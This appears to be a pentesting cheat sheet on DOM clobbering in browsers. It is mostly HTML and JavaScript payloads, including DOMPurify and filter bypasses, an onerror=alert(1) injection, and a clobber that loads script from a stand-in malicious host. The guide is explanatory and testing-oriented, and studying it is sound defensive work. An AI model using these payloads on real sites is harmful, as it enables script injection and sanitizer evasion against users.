DOM Clobbering
DOM Clobbering is a technique where HTML elements with id and name attributes can override JavaScript global variables in the document context, potentially leading to security vulnerabilities.
Core Concept
When you add HTML elements with specific id or name attributes, they create global variables in the JavaScript context that can override existing variables or properties.
Basic Clobbering
<form id="x"></form>
<script>
console.log(typeof document.x) // [object HTMLFormElement]
</script>
Elements that can clobber globals with name attribute:
embed,form,iframe,image,img,object
Controlling string values with anchor tags:
<a href="controlled string" id="x"></a>
<script>
console.log(x) // "controlled string"
</script>
Advanced Techniques
Array and Object Attribute Clobbering
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) // "controlled"
console.log(x.y) // "controlled"
</script>
</a>
</a>
Deep Attribute Clobbering (3+ levels)
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) // "controlled"
</script>
Iframe-Based Deep Clobbering
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) // "controlled"
</script>
Note: The style tag gives the iframe time to render. Without it, you may get
undefined.
Multi-Level Iframe Clobbering
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d name=e href=controlled><a id=d> name=d>' name=b>"
></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) // "controlled"
</script>
Filter Bypassing
If a filter loops through node properties using document.getElementById('x').attributes, you can clobber the .attributes property itself:
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) // "FORM"
console.log(document.getElementById("y").nodeName) // "[object HTMLInputElement]"
</script>
Clobberable DOM properties:
attributes,tagName,nodeName,parentNode, and more
Clobbering Window Objects
Common JavaScript pattern:
var someObject = window.someObject || {}
Exploit:
<a id=someObject href=//malicious-website.com/malicious.js></a>
Vulnerable code example:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
DOMPurify Bypass with cid: Protocol
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
</a>
The cid: protocol doesn't URL-encode double-quotes, allowing runtime decoding to escape attributes.
Form Attribute Clobbering
<form name="cookie"><input id="toString"></form>
This overwrites the attributes property, preventing sanitizers from accessing actual attributes.
Document Object Clobbering
You can overwrite document.cookie, document.body, document.children, and even document.querySelector:
// Basic cookie clobbering
document.write("<img name=cookie />")
// Check the result
document.cookie // <img name="cookie">
typeof(document.cookie) // "object"
// More sanitizer-friendly approach
document.write("<form name=cookie><input id=toString></form>")
Writing After Clobbered Elements
Using HTML Tag
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // "clobbered"
alert(document.querySelector(".x").innerText) // "clobbered"
</script>
</p>
Using CSS to Hide Interference
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p { display: none; }
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // "clobbered"
</script>
Using SVG Body Tag
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // "clobbered"
</script>
Using SVG ForeignObject
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // "clobbered"
</script>
Form Clobbering
Add new entries to forms using the form attribute:
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
Button attributes for form manipulation:
form,formaction,formmethod,formtarget,formnovalidate,formenctype
Testing Checklist
- Identify clobberable variables - Look for JavaScript that uses
window.variableordocument.variable - Check for filter bypasses - Test if
.attributes,.nodeName, etc. can be clobbered - Test document properties - Try clobbering
document.cookie,document.body, etc. - Test form submissions - Check if form attributes can be manipulated
- Test with sanitizers - Try bypassing DOMPurify and similar libraries
References
- PortSwigger: Hijacking Service Workers via DOM Clobbering
- PortSwigger: DOM Clobbering
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
Quick Payloads
<!-- Basic variable clobbering -->
<a id="targetVar" href="malicious-value"></a>
<!-- Cookie clobbering -->
<form name="cookie"><input id="toString"></form>
<!-- Filter bypass -->
<form id="x"><input name="attributes"></form>
<!-- Array clobbering -->
<a id="arr"><a id="arr" name="0" href="value"></a></a>
<!-- Deep clobbering -->
<form id="a" name="b"><input id="c" value="x"></form>
<form id="a"></form>